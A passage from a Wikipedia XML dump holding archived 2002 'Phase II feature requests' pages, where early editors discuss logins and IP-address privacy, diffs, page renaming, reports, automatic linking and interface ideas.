      <comment>Guanaco - robot: converting HTML tags to proper wiki markup and removing excess newlines</comment>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

&lt;h3&gt;[[Feature_requests/Cookies, logins, and privacy|Cookies, logins, and privacy]]&lt;/h3&gt; 

* In addition, given that the certain cookies have stopped working, can't I have a &quot;log in&quot; to confirm my id? Everytime I hit &quot;preferences&quot; otherwise, I get a new user ID.

* I noticed last weekend that I can set my ID in Preferences to anybody else's, certainly, if they are not using it. I would not care if people had mutlyiple IDs. But, I do see a problem in my setting my ID to, say [[Larry Sanger]] and entering content all over which will wrongly be identified as his in recent changes. And possibly elsewhere. RoseParks
** There is a secure user-ID already--it is the &quot;User ID number&quot; shown on the Preferences page. If you are using recent versions of MSIE or Netscape you can see the ID number and the IP address by moving the mouse over the user name. (A popup saying something like &quot;ID 1622 from 165.79.13.xxx&quot; should appear.) It should be non-trivial for anyone else to use that ID number, since it protected by a random number in the user's cookie (which is compared with a copy on the server). Eventually a more conventional username/password combination may become an option, but this is unlikely to happen soon. --CliffordAdams (or somebody with ID 1675 :-)
** I second the request for a more conventional username/password combination. This is one thing necessary to make the website fully scaleable. --[[User:LMS]]

* The &quot;.xxx&quot; bit in dynamic IP addresses is commendable, but is there a way to do something similar for people logging in from institutions with static IP addresses ending in letters? The last one I saw listed the entire address. Certainly anyone with a static IP should have a firewall, but I think we've seen enough mischievous people wander through that the precaution of masking the IP still has merit. And no that's not a rhetorical question, as I'll be logging on from a static IP starting in early June 2002. --KQ

I'm not sure &quot;privacy&quot; is a good thing here. The price one pays for freedom is accountability: anyone should be able to edit anything, but I don't think they should be able to do so without being identified (at least with their chosen pseudonym--they can still hide behind whatever anonymity their Internet connection gives them). When I find some vandalism, for example, I look back in the Recent Changes list for that same IP and check those pages--I usually find more. Likewise, when I get to know certain posters, I get to know what might be interesting or important to read. If someone is concerned about privacy, that's ''his'' problem, and he should take the burden of using software to anonymize himself (and there's plenty of software available to do that). --[[User:Lee Daniel Crocker|LDC]]

* I, for one, do not care about [[anonymity]] here, but [[pseudonymity]] would be fine. We almost have the latter with userids, were it not for the &quot;from IP-Address&quot; misfeature. LDC, if you know that userid 715 broke a page, is it really harder to find all other pages touched by them without knowing three octets of their IP? The main use I see for that is correlating pseudonyms to realnames, which is mainly useful for prosecution (I don't assume that we want to criminalize WikiVandals, though), or ... direct marketing. --Robbe

I think you've misunderstood. What I'm talking about specifically is not having the ''entire'' static IP address shown of someone logging in from an address ending in letters. All it would take is to .xxx a portion of it so that the firewall is not constantly fending off requests. This is the same courtesy already extended to people logging in from any IP address ending in numerals. My concern for it stems from the fact that it identifies where the person works or attends school, which if you'll pardon my saying so, is not necessarily anyone's business. If it's not workable then you can expect to have me not continue contributing. --KQ

I usually use a static IP, but [[Recent Changes]] (hover over my name) only shows a masked IP, not my domain.
Did you see this on the main Wikipedia, or one of the internationals?
UseModWiki can turn off name lookup, and I'd assumed from the RC display that it was turned off.

You're asking that ''mybox.frobnuts.com'' be masked as ''mybox.'''''xxx.xxx''',
(which is a ''domain name'' rather than an ''ip address'', to be unnecessarily picky)
so that FrobNuts's network (thus their firewall) won't be identifiable?

Even the current method really doesn't provide that level of protection,
or much privacy of any kind beyond a casual glance.
For example, ''111.222.333.444'' would display as &quot;''111.222.333.'''''xxx'''&quot;,
and thus &quot;hide&quot; a specific host, but the network can likely still be identified
via a simple whois lookup on &quot;111.222.333&quot;. With my usual IP address,
the two leading numbers are sufficient to tell you where I'm logged in from; you don't even
need the third one. In general, only a residential poster would have some anonymity,
simply because the ip address (whether static or dynamic) usually maps
back to the ISP, not a specific business or school.

To achieve the equivalent level of privacy you're asking for, even the ip addresses should be
masked as '''xxx.xxx.xxx'''''.444'' rather than as they are now.
--[[User:hornlo|loh]]

:I second the reverse masking of the IP addresses--it still allows identification, but not by geography, etc. Though you'd probably need more than just the last three to make people in dynamic IP networks id'able. eh. no perfect answer. -- TheCunctator

Interesting. I don't remember if it was on the English wikipedia or the Spanish one; it's been some months past. I had two concerns; one ''was'' indeed not giving the entire IP address (or domain name); the other was not revealing immediately where contributors post from, leaving it instead to their own discretion. I haven't seen it again; but if it was originally from the Spanish wikipedia that would be because I've contributed nearly all I can in Spanish. :-) I expect that I'll try it from another computer to see how it displays and will be using anonymizer or somesuch if it's not to my satisfaction. Thanks..

:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Other feature requests</title>
    <id>11134</id>
    <revision>
      <id>15908899</id>
      <timestamp>2004-09-19T07:31:51Z</timestamp>
      <contributor>
        <username>Guanabot</username>
        <id>82928</id>
      </contributor>
      <minor />
      <comment>Guanaco - robot: converting HTML tags to proper wiki markup and removing excess newlines</comment>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

&lt;h3&gt;Other feature requests&lt;/h3&gt; 

* Marking pages with a page type: article, [[talk:Feature_requests|/Talk]], a wikipedians page, pages about wikipedia (policy, requested features, announcements, etc.), redirects, junk, not yet classified. That way we can get a much more accurate count of the number of articles. A link or drop down box at the bottom of a page would allow changes to the page type, which should show up in the revision log. -- [[User:Simon J Kissane]]

* Automate renaming of pages. I'm sick of copying and pasting and putting in #REDIRECTs. There should be a rename command which creates a copy of the page with the new name, and replaces the old page with a #REDIRECT to the new page. And it should be able to move all subpages (e.g. [[talk:Feature_requests|/Talk]] pages) as well. -- [[User:Simon J Kissane]]

* Can we omit [[talk:Feature_requests|/Talk]] pages from those returned by [[Random Page]] (or at least a user option so to do)&quot; -- [[User:GWO]]
**Could we exclude #REDIRECT pages from &quot;Random Page&quot; results--make it, uh, why not &quot;Random article&quot;? (Maybe exclude user pages too?) Or perhaps add that as an option under prefs?[[user:Koyaanis Qatsi|Koyaanis Qatsi]]

* I'm not sure if this is a software feature request or a feature request for the sysadmin, but can we make the description metatag for all Wikipedia pages identical to the first 25-40 words of the page contents?

* Disallow self-referencing wiki links. It is counterproductive to the idea of a cross-linked encyclopedia to link the page the user is currently on to the page the user is currently on. One can easily kill these links when one comes across them, but perhaps it would be easier to simply disallow it in the wiki code?
** I think the idea here is not to ''parse'' a link on the XYZ to the XYZ page as a link.

* There should be a diff between two adjacent changes. The current diff only shows the change from a given version to the latest version. It would be useful to diff version 1 with version 2, version 2 with version 3, ..., version 14 with version 15 etc. Not version 1 to version 15.

* I'd like a more precise &quot;diff&quot; feature. Currently if there's a change in a paragraph you have to scan the entire paragraph to find it. Could we mark the changes themselves in some way?
**I second for this feature. I recently suggested a convention used in entering text on the FAQ page. If each sentence is entered on its own line, the diff will show only the sentence that is changed instead of the whole paragraph. However, if Wikipedia's diff can use color to highlight the changes within the paragraph, then it would work better than what I suggested.

* Let users &quot;subscribe&quot; to a page: every change to that page will then be emailed to them. AxelBoldt
**I like this idea very much, but how about sending a daily/weekly/monthly digest instead of one message per change? This would be '''very''' nice. [[User:sandos]]

* the Wikie (erlang wiki) allows for passworded pages, and append-only pages, as well as marked sections as well. These are rather useful as well. The primary use, in my mind, for this wiki would be quoting material from somewhere else, like the US constitution, the text of a speech, the exact program code to do something...

* Images should automatically be aligned to the left (align=&quot;left&quot;) so that text wraps around it. Or something. Check out [[Galileo]]. There is a huge white space even on 800x600. 

* A standardized method to include grants of permission from sources of copyrighted material, plus a detail on [[fair_use]] implied consent on copyrighted material. A statement that this wikipedia.com is either for commercial or educational purposes might help !

* Tag that would allow Tex Math mode. Like in &lt; formula &gt;F = frac{GMm}{r^2}&lt; / formula &gt;. It would be converted to cached imag/png and img tag with 'alt' set to Tex source, like in &lt; img src=&quot;texcache/tex01234567.png&quot; alt=&quot;F = frac{GMm}{r^2}&quot; &gt; -- [[User:Taw]]

:This would be really cool. In fact, I'd like to do this on my own site for my own nefarious purposes, so I'm looking into how to pull it off. -- EdwardOConnor

* Keywords for every page, with syntax like: '#KEYWORDS foo,bar,baz'.
** It will help getting high locations in web searchers.
** Some display-all-pages-with-selected-keyword should be provided. It would enhance quality of articles, as an expert on some field could easily see all articles on his field. It would also be good way of checking completeness of article set.
** Most important would be Recent Changes restricted to some set of keywords. That would be very good peer-review mechanism. --[[User:Taw]]

* There should be a way to specify alt= and title= of an inline image for the benefit of the visually impaired, the slowly connected, or anybody else using [[Links]] or another textual web browser. --[[User:Damian Yerrick]]

:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Completed feature requests</title>
    <id>11135</id>
    <revision>
      <id>19583061</id>
      <timestamp>2005-07-25T16:52:48Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <comment>/* Completed feature requests */ Page now retrieved to Wikipedia:</comment>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

=== Completed feature requests ===

* [[Wikipedia:Free Links|Free Links]]
* Renaming/deleting function
* BackLinks: see which pages links to the one you're at (Click the title of the current page (at the top of the page)--it will do a search for links to the current page)
* a way to allow non-English characters in article names (in newest version)


:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Really ambitious and fanciful feature requests</title>
    <id>11136</id>
    <revision>
      <id>15908901</id>
      <timestamp>2005-02-07T03:50:09Z</timestamp>
      <contributor>
        <ip>64.230.173.172</ip>
      </contributor>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

=== Really ambitious and fanciful feature requests ===

*For famous writers: include pages of the books they have written, taken from the Project Gutenberg Library. PG is a library of books that have fallen into the public domain. Include them as links to the specific .txt files on PG's servers, so we don't have to deal with the endless defacement of Romeo and Juliet. Imagine being able to look up Kipling, read a description of his life, and then read all of his works.
** This can't be done automatically in any easy way. It's something we're doing by hand. See [[public domain resources]].

* Make the category an article belongs to a property of the article. So one can look for all Mathematics articles, etc. This can already be done to some extent: you can always create a category page and add the article to it; but if someone forgets to do this the article will be missed. An automatically generated page could exist for each category, listing what articles belong to it; and also an automatically generated page for articles that do not belong to any category, so they can be assigned to one. '''Also:'''
* At the top of each topic page, I would like to see a link to the parent topic. [[user:chuckr30|chuckr30]]
** These aren't just software feature requests, because it's not a programming task to determine what &quot;category an article belongs to.&quot; (What does that mean?) Please see [[Larry Sanger/Accidental linking and hard-wired category schemes|this column]]. Re: &quot;This can already be done to some extent: you can always create a category page and add the article to it; but if someone forgets to do this the article will be missed.&quot; I reply: So? So the page will be (temporarily) imperfect. Better that than a totally controversial hard-wired category scheme of limited value. The content ''is'' the category scheme. --[[User:LMS]]

* I was just thinking about e-mail interface to Wikipedia. What for, you might ask. Sometimes it is for some people hard to get onto the Wikipedia server. I also think it would booster authors' productivity. Off the top of my head I can think of three commands that can be placed in subject line of an e-mail :
** POST
** GET - raw text of the page
** RECEIVE - formatted text of the page
* of course there should also be 'an article a day' service. POSTing should be reserved to active memebers of this mailing list. There should be some way to safeguarde against accidental overwriting of existing pages. When POSTing raw text in body before '-- ', and author's id from e-mail before '@'.

* I would like a way for the author of an article to &quot;lock&quot; the article. If someone wanted to add something to it, they would email the changes to the author. If the author approves, the author can post the new article. I think you will see tons of poor quality articles here eventually, because some 12-year old thinks it's cool or funny to deface articles. I think it would be wise to be able to lock the articles. [[user:chuckr30|chuckr30]]
** There is no such thing as &quot;the author of an article&quot; on Wikipedia, unless it's just an accident that one person has happened to work on an article so far. So this is not going to happen anytime soon. It is totally anti-wiki, for one thing. Eventually, some such solution might be necessary to make Wikipedia fully scaleable--but I doubt it. Right now it is clearly unnecessary: ''people'' are our protection against vandals. --[[User:LMS]]
** I might worry about someone creating a script that would automatically deface pages. As a long term project, consider limiting (throttling) the rate of accepted changes from any one ip address -- [[User:Pat Spinler]]
***I don't like this idea, simply because I would have been throttled myself several times already. Unless we make the limit to something not humanly possible, or at least extremely unlikely--say, 1 or 2 changes each minute for several minutes straight. And actually I've submitted more changes than that on many occasions, especially when adding CIA factbook info but also when adding country codes to the &lt;code&gt;*/Communications&lt;/code&gt; pages. Also, I expect [[User:SJK|Simon J Kissane]]'s contributions would have been curbed a few times as well. --[[user:Koyaanis Qatsi|Koyaanis Qatsi]]
***I don't quite like this idea either, but it made me think of another thing: It would be nice with the possibility to roll back the latest change from the changes page. If someone defaces a page, I can just click something to get the previous version back, instead of having to edit it by hand. --[[User:Pinkunicorn|Pinkunicorn]]
***You can do that, with the View other revisions page...you just view the previous revision, click on the Edit this revision link at the bottom, then save it. It saves over later revisions. --[[User:The Cunctator]]

* The best way is to introduce a voting+visits system (like Google's PageRank) to make sure vox populi automatically kills unwanted changes. Let's say I want to navigate at 90% assurance. Let all poorly voted pages and corrections be invisible. Then I can change the assurance level and see all stuff - including kid's graffiti, [[User:Piotr Wozniak]]
** Ick. I can't imagine any better way to ensure total mediocrity. Who cares what the masses think? I want to know what the one or two real experts who cared enough about the subject to slug it out on the [[talk:Feature_requests|/Talk]] pages finally settled on. --[[user:Lee Daniel Crocker|LDC]]

* Ability to have multiple revision branches of an article, ala CVS. That way if there is a difference of opinion on how an article should look, different authors can each work on their own branch without constantly overwriting each others work, and then we can choose which one is better to become the main article, or to integrate them.

::It sounds to me as if this would introduce very much complexity for a rather small gain. I think it's better to create Main/MyView and Main/YourView and have a short introduction to the different views on the main page. Even better would be to have both views presented on the main page (perhaps in different sections), but that can always be arranged once they are &quot;finished&quot;). --[[User:Pinkunicorn|Pinkunicorn]]

* Giving to the user some 'pagehits per time' information would make Wikipedia even more dynamic. It's motivating for editors when  they can see that there's a lot of interest in their work. --[[User:Wolfgang Moecklin]]

* This partially related to that request for email-submission interface above: Open up the interface to the database in order to allow different front-ends. For example, if I'd want to use an interface with support for off-line working I'd have a data base front-end for that. On the other hand, if I'd want a fancy GUI I'd just write a new front-end. This naturally requires that the database interface is stable (and not continuously evolving). So, what I'd basically want is to open up the open project:) --[[User:Tbackstr]]
** You might just get that in my [[Wikipedia PHP script]]. I already thought of a TCL/TK program as a frontend to reduce the server load that is coming from page rendering. Of course, you can get an article source automatically even today by scanning the edit page of the article. I am working on something like that to copy wikipedia to MySQL format.--[[user:Magnus Manske|Magnus Manske]]

* I like [[Everything2]]'s &quot;soft link&quot; concept: the server monitors the pages from which visitors reach a given article, and the most common such pages are listed at the bottom of the article, to provide context. --AxelBoldt
**Though I'm not familar with Everything2, it sounds like a good idea. There should be a way to see what pages link to a particular page easily. - [[User:Eean]]
* Rendering of mathematical formulas and chemical diagrams on-the-fly using TeX, similar to [http://www.mathcircle.org/cgi-bin/mathwiki.pl Mathwiki]. The Mathwiki code is written in perl and I hear that it is not in very good shape and probably would have to be reimplemented. --AxelBoldt
*Have an wiki-code to insert the JavaScript for the &quot;tool-tips&quot;-like thing that [[Nupedia]] has. Then have a way to turn them off, like in Nupedia. -- [[User:Eean]]
*Add a java applet that users can specifically request when editing a page that will allow the user to create mathematical equations that the applet will parse in to MathML.

*Have the &quot;View other revisions&quot; link allow access to future revisions as well as past ones. This would allow wikipedians to copy text that hasn't been written yet into the current revision, taking a lot of effort out of editing. Of course, there would have to be safeguards to make sure that no paradoxes resulted; some kind of edit lock that only allows a page to be saved when it matches its next predestined revision, perhaps.
:LOL!! That would save all of us a lot of work... let me know when you get the time machine working :) [[user:Karen Johnson|KJ]]

*Have a global find-and-replace to correct spelling errors and alter ALL links to the one article at the same time rather than having to do them all individually. [[user:Karen Johnson|KJ]]

*Introduce a 'troll-proofing' scheme, where well-meaning but misguided individuals can be quietly placed under moderation to help preserve the integrity of the Wikipedia. They can make all the crackpot changes and write all the weird-and-wonderful articles they like, but the altered entries are flagged as needing approval before they are released. The moderator can say 'yes', 'no', or alter the text of each article before releasing it from the 'litterbox', rather than people having to follow the troll around with a pooperscooper to clean up their mess! [[User:Karen Johnson|KJ]]

:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Report features and automation</title>
    <id>11137</id>
    <revision>
      <id>19583304</id>
      <timestamp>2005-07-25T16:56:15Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <comment>/* Weed-whacking (tools to help in reining in chaos) */ Page now retrieved to Wikipedia:</comment>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

&lt;h3&gt;Report features and automation&lt;/h3&gt;
==== Reports and lists ====
* Report showing all orphaned pages (that is, pages that are not linked to by any other page).
* Report showing all old style link pages that aren't redirects (simplify converting them).
* Report showing all dangling links (i.e. links which point to pages that don't exist yet.)

* Automatically updated page giving the 100 or so most common searches over different periods (today, last 4 hours, last month, last 6 months).  This information would help us add what people actually want (provided it fits in with what wikipedia should be).

* How about a feature that lists all places where the current page is linked from?

* Automatically-generated NewTopics page
** Still considering this, but not for version 0.92. --CliffordAdams

* Count and publicly display (somewhere) two or three different numbers of Wikipedia pages that are longer than various particulars lengths (to give a more realistic idea of how many actual pages are on the wiki, as opposed to redirection pages, tiny stubs, etc.).
** A good idea. The only quibble is that it requires opening every page to generate the report, but it shouldn't take any longer than the current search function.
** If wikipedia articles are stored in flat files, you could just approximate the length based on the file size, right?

* How's about an automatically generated Wikipedia Contributors page that lists contributors and the number of pages they created or changed? --SoniC
** Unfortunately, not all contributors use a username or have a single login. Also, not all of the requested information is kept permanently. --CliffordAdams

* Plagiarism-bot. A bot that goes through Wikipedia pages on a regular basis, does Google searches, and flags pages that it suspects might be plagiarized.

* Let's have contributors of a given Wikipedia page listed either in the header or in the footer. IP's are skipped of course and if there are more than, say, 10 contributors make a link to a special subpage &amp;quot;Contributors&amp;quot;.[[User:Kpjas]]
** If people wish to be listed, can't they simply include their name at the end of the text?
** I like the basic anonymity of the entries, especially if the diff information is actually stored somewhere. -- TheCunctator

* Provide a way to search for all the changes made by one user in Wikipedia. For example, if I contributed to numerous pages over a long period of time, then 2 years later, I would need a way to find out whether someone else added to the subject I once touched.
** Alternately, allow users to &quot;monitor&quot; a page, so that they get email whenever that page is edited. Or adds a link to that page to another page, which could be a subpage of their user page. [[User:Greg Lindahl]]

* I would like a page that is a top list of the most frequently linked-to non-existent page. [[User:Linus Tolke]]

==== Weed-whacking (tools to help in reining in chaos) ====
* Spell check [[batch job]] for newly created articles once a week with a link at the end of the article to the incorrectly spelled words. Even better would be one that worked as the &quot;preview&quot; button, before saving, and that marked somehow the suspicious words.

* Is it possible to invent something to sort lists alphabetically? Take a look at pages like [[Actresses]] and you know why this would be helpful...

* Would someone provide Wikipedia with code for programmatic update of the date on the [[Homepage]]? This would certainly make [[User:WojPob|WojPob]]'s life easier ;-)

* It would be great to have a feature that would identify all orphaned pages. There's a small but growing problem of our having many useful pages that are not linked-to or underlinked-to. It would be great if we could list all pages to which there are no links, or only one link. --[[User:Larry Sanger]]

* Provide a [[batch job]] that searches for and lists all links along with the page the link is contained in so that we can look for duplicate/slightly different versions of the same link and fix them. Please make this a weekly batch job so that it does not take too much time.

* Automate making old-style links into [[Wikipedia:Free Links|Free Links]]
** This will probably happen soon after the 0.92 release. The wiki code to rename pages is already present, although it is available to wiki administrator(s) only
* I was trying to find a good way to change the links for the entire UnitedStatesConstitution section so that all the subsections would automatically migrate to [[United States Constitution]]. Instead of copying and pasting everything on the web, I figured I could just copy the files on the server from one directory to the other. I tried this and the site broke, so now I think I will just ask if there is a way to do this. So: '''When we are changing links to the much nicer free link style, is there a good way to get subsections changed as well without having to manually edit each page in the subsection?'''
** The wiki admin(s) can use the page-rename commands to move pages. Unfortunately, each individual subpage needs to be moved by this method. I'll consider this to be a feature request for renaming all subpages when a page is renamed. --CliffordAdams

==== Automatic links ====

* For every topic, go through and grep every other topic (maybe just the root topic) and automatically create a link to the topic we are looking for. So eventually every word could possibly be a link. This could be great for people interested in the origins of words and would save topic creators much time too.
** This is a bad idea. First of all, there are the obvious technical difficulties. More importantly, human beings are much better at deciding when a link is ''relevant'' to a given bit of text. Patience--it'll be perfect in the end, trust me. --[[User:LMS]]

* At the bottom of every article, I would like to have a list of likely related pages, similar to http://everything2.com. These could be computed once a night or so, maybe at the same time the search indexing is done. Criteria for two pages to be related:
** contain similar words
** link to similar pages
** are linked to by similar pages --AxelBoldt

==== Automatic Empty Page Deletion ====

The whole [[Page titles to be deleted]] mechanism is unnecessarily burdensome. The software should be capable of automatically deleting pages that have no content other than whitespace.

:It's been discussed - but how do you train the software to distinguish between a blank page which is useless, a blank page which has been vandalised, or a blank page which has been wiped clean pending resolution of a debate on the relevant talk page? [[Page titles to be deleted]] is cumbersome, but it preserves the need for page deletions to be conducted with care and judicious consideration. All the history goes as well when a page is deeted - so there is no way back. [[User:MMGB]]

:I see. I missed the previous discussion. Sorry for retreading old ground. Causing links to empty pages to display as if it were a new page would do as well without the other problems. Attempts to deal with the issues otherwise: wait a few days or even weeks before deleting (anti-vandalism), don't delete if there are subpages (anti [[talk:Feature_requests|/Talk]] problem)? --[[User:Dmerrill]]

:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Interface</title>
    <id>11138</id>
    <revision>
      <id>15908903</id>
      <timestamp>2004-12-15T20:07:57Z</timestamp>
      <contributor>
        <username>Thue</username>
        <id>19556</id>
      </contributor>
      <minor />
      <comment>fix link</comment>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

'''This is old.''' The current working document is [[Wikipedia:User interface ideas]] (see).

Requests for what goes on outside of the entries--the menubars up top and bottom, etc., user preferences.

* Can we have the &quot;edit this page right now!&quot; link back at the top of the page? Or was that voted down? I like it.

* I second the above -- [[User:GWO]]

* I would like a link somewhere to my own personal page, since there I have linked pages that are of interest to me (in lack of a 'subscribe' feature =). I always search for my own page the first thing when I surf to wikipedia.
** When you're logged in, your personal page is linked to on every page. --[[user:Damian Yerrick|Damian Yerrick]]

* I would like to have a CANCEL Button on the Edits page (Page in Edit mode) added to the two existing ones SUBMIT and PREVIEW. Just to have a clear understanding what is going on and what the system/database is up to. [[User:StefanRybo]]
** How about a &quot;SPELL CHECK&quot; button, too?
*** It would be helpful if the spell checking also check for variations of Wiki links, such as &quot;Recent Changes&quot; vs. &quot;[[Recent Changes]]&quot;. It can eliminate branching of similar pages.

* Automatically update the present (server) date. Link the date to that day's page.
** Fixed. --[[user:Damian Yerrick|Damian Yerrick]]

* When I'm editing a topic, I'd like to have the search box available at the bottom of the page. [[User:Janet Davis]]
** Works for me in the blue theme. --[[user:Damian Yerrick|Damian Yerrick]]

* Making the &quot;redirected from&quot; comment at the top of each page an option which is by default off, not on. This feature would clean up wikipedia pages for casual users, and leave the nuts and bolts visible to people who wish to track down the offending OdDlyCapitaliZed links, etc. Of course (if I may say so) ;-) for this option to work, the caching problem would first have to be resolved. --KQ
** Under this scheme, how could we ever visit the redirection page? By switching a preference? I dunno, seems like we have to edit redirection pages too often. This would just create confusion, wouldn't it? --[[User:LMS]]
** Yes, I think you're right. Maybe if we could just exclude them from &quot;Random Page&quot; results

* Provide a user preference to include the ''preview'' (formatted version of the page) when entering editing mode. (This would save me one click + wait for almost every page I edit. [[User:Buttonius]]

:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Interface and user preferences</title>
    <id>11139</id>
    <revision>
      <id>30018866</id>
      <timestamp>2005-12-03T15:12:21Z</timestamp>
      <contributor>
        <ip>219.95.27.231</ip>
      </contributor>
      <text xml:space="preserve">'''This page is obsolete!'''
It is an archive of old feature requests that were still active on 2002 July 20, when we moved from Phase II to Phase III of the software.
Many requests were implemented then, while others became obsolete due to being rejected by the community.
'''See [[Wikipedia:Feature requests]] for current requests.'''
----

''Please see the [http://wikipedia.sourceforge.net/fpw/wiki.phtml PHP wikipedia] under development. Most of the requests I see here are already working there. Please help me squish the bugs so we can switch over soon. --[[user:Magnus Manske|Magnus Manske]]''

Text Text Text Text Text Text Text Text Text Text Text Text Text 
&lt;br&gt;______Next &quot;semi-paragraph&quot;: Text Text Text Text Text Text Text Text Text
&lt;br&gt;When I use six spaces (instead of the underlines used above) to begin a new &quot;semi-paragraph&quot; (a break not as strong as a &amp;lt;p&amp;gt;) Wikipedia leaves the paragraph unformatted. IMO it was better not to use &amp;lt;pre&amp;gt;text&amp;lt;pre&amp;gt; automatically. And I wonder why &lt;a href=&quot;xxxx&quot;&gt;xxx&lt;/a&gt; doesn´t work, why it can´t become automatically translated to Wikipedia syntax. Sporadic writers like me may want to use simple things like target=&quot;_blank&quot; - things that don´t spoil consistency nor security - why not implement better filtering? I see you´re coding Wikipedia in PHP now, so performance should not be a problem. 
&lt;br&gt;Another thing I´d like to have is modification dates, in an extended view mainly for writers. And tables or div layers to paint colors were cool, maybe even transparent colors (CSS?) to show overlapping and several sucessive changes. [[User:Grasso]]


Requests for what goes on outside of the entries--the menubars up top and bottom, etc., user preferences.

* Currently links to entries which do not exist are formatted with a question-mark at the end. This looks unprofessional, similar to old WikiStyle, and distracts from the text. Cascading style sheets offer the possibility to have links in a color other than the ones defined in -body-. It would be nice to display, by default or as an option in the preferences, links to non-existing entries in a different color, e.g. green. If there are problems with the implementation, please add a note here and I'll try to create an HTML example.
** This should probably be a configurable option, since people using a text browser may not be able to see coloured links -[[user:Bryan Derksen|BD]]

* It should be possible to add a page from the search results page. That is, if I type &quot;foobar&quot; in the search, if no page with that exact name exists, the search result page (in addition to showing the matches) should offer me to &quot;Create an entry about 'foobar' now&quot;. This way, you would still have to check for possible matches, but could add new pages easier. That's the way Everything2 does it, BTW, and it works quite nicely.

* Can we have the &quot;edit this page right now!&quot; link back at the top of the page? Or was that voted down? I like it.

** I second the above -- [[User:GWO]]

* I would like a link somewhere to my own personal page, since there I have linked pages that are of interest to me (in lack of a 'subscribe' feature =). I always search for my own page the first thing when I surf to wikipedia.

* I would like to have a CANCEL Button on the Edits page (Page in Edit mode) added to the two existing ones SUBMIT and PREVIEW. Just to have a clear understanding what is going on and what the system/database is up to. [[User:StefanRybo]]

** How about a &quot;SPELL CHECK&quot; button, too?

*** It would be helpful if the spell checking also check for variations of Wiki links, such as &quot;Recent Changes&quot; vs. &quot;[[Recent Changes]]&quot;. It can eliminate branching of similar pages.

* Automatically update the present (server) date. Link the date to that day's page.



* When I'm editing a topic, I'd like to have the search box available at the bottom of the page. [[User:Janet Davis]]

** Suggestion: have the search results appear in a new window, so you don't lose whatever it was you're working on. -- [[User:Gimbo]]



* Making the &quot;redirected from&quot; comment at the top of each page an option which is by default off, not on. This feature would clean up wikipedia pages for casual users, and leave the nuts and bolts visible to people who wish to track down the offending 
:''See also :'' [[Feature requests]]&lt;nowiki&gt;OdDlyCapitaliZed&lt;/nowiki&gt; links, etc. Of course (if I may say so) ;-) for this option to work, the caching problem would first have to be resolved. --KQ



** Under this scheme, how could we ever visit the redirection page? By switching a preference? I dunno, seems like we have to edit redirection pages too often. This would just create confusion, wouldn't it? --[[User:LMS]]

** Yes, I think you're right. Maybe if we could just exclude them from &quot;Random Page&quot; results



* Provide a user preference to include the ''preview'' (formatted version of the page) when entering editing mode. (This would save me one click + wait for almost every page I edit. [[User:Buttonius]]


* A way to do doublecolumns and/or sidebars (so we can have a list 'o links to the right of the text)



**Double columns are only natively supported by Netscape. However they could be done by using tables. [[user:chuckr30|chuckr30]]



** Maybe, if such sidebars could be created ''automatically'' and for ''all'' articles. But what's wrong with having the links at the bottom of the page? If that's reasonably acceptable, why go through the confusion of having links in a sidebar? --[[User:LMS]]



* A link to [[How does one edit a page/Quick reference]] from the editing page, to avoid me having to dive through the [[FAQ]] every time I can't remember a special character -- DrBob 

** Seconded. Though in fact the quick reference is now on the main [[How does one edit a page]]. -- Tarquin


* The SEARCH field and button should be located at the top of the page, just like with search engines, because it feels more intuitive that way. At least the main page should have the SEARCH code in the upper part of the page. -- Kahuna &quot;Pierre&quot; Shanx

**Absolutely! The first thing I want to do if i go to Wikipedia is looking for some word. The way it is now, I always have to scroll down (yeah, my window is small...)



*** Maybe make its placement a user preference: top, bottom, or both? -- [[User:Gimbo]]


****I think both would be best: for example, take a look at the page generated by a succesful Google search, such as http://www.google.com/search?q=wikipedia

* How about a link at the bottom of each page that would automatically create a bibliography reference (works cited) for a paper?  This would probably encourage students to use wikipedia more as a serious reference.

* A drop down box that allows quick and dirty machine translation into other languages on each article of each language's wikipedia.

* Could we have a user interface so that it looks like we're on a corporate webpage, so we could read Wikipedia at work without being conspicuous?

:''See also :'' [[Wikipedia:Phase II feature requests]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Phase II feature requests/Wiki shortcuts</title>
    <id>11140</id>
    <revision>
      <id>15908905</id>
      <timestamp>2004-08-09T22:04:54Z</timestamp>
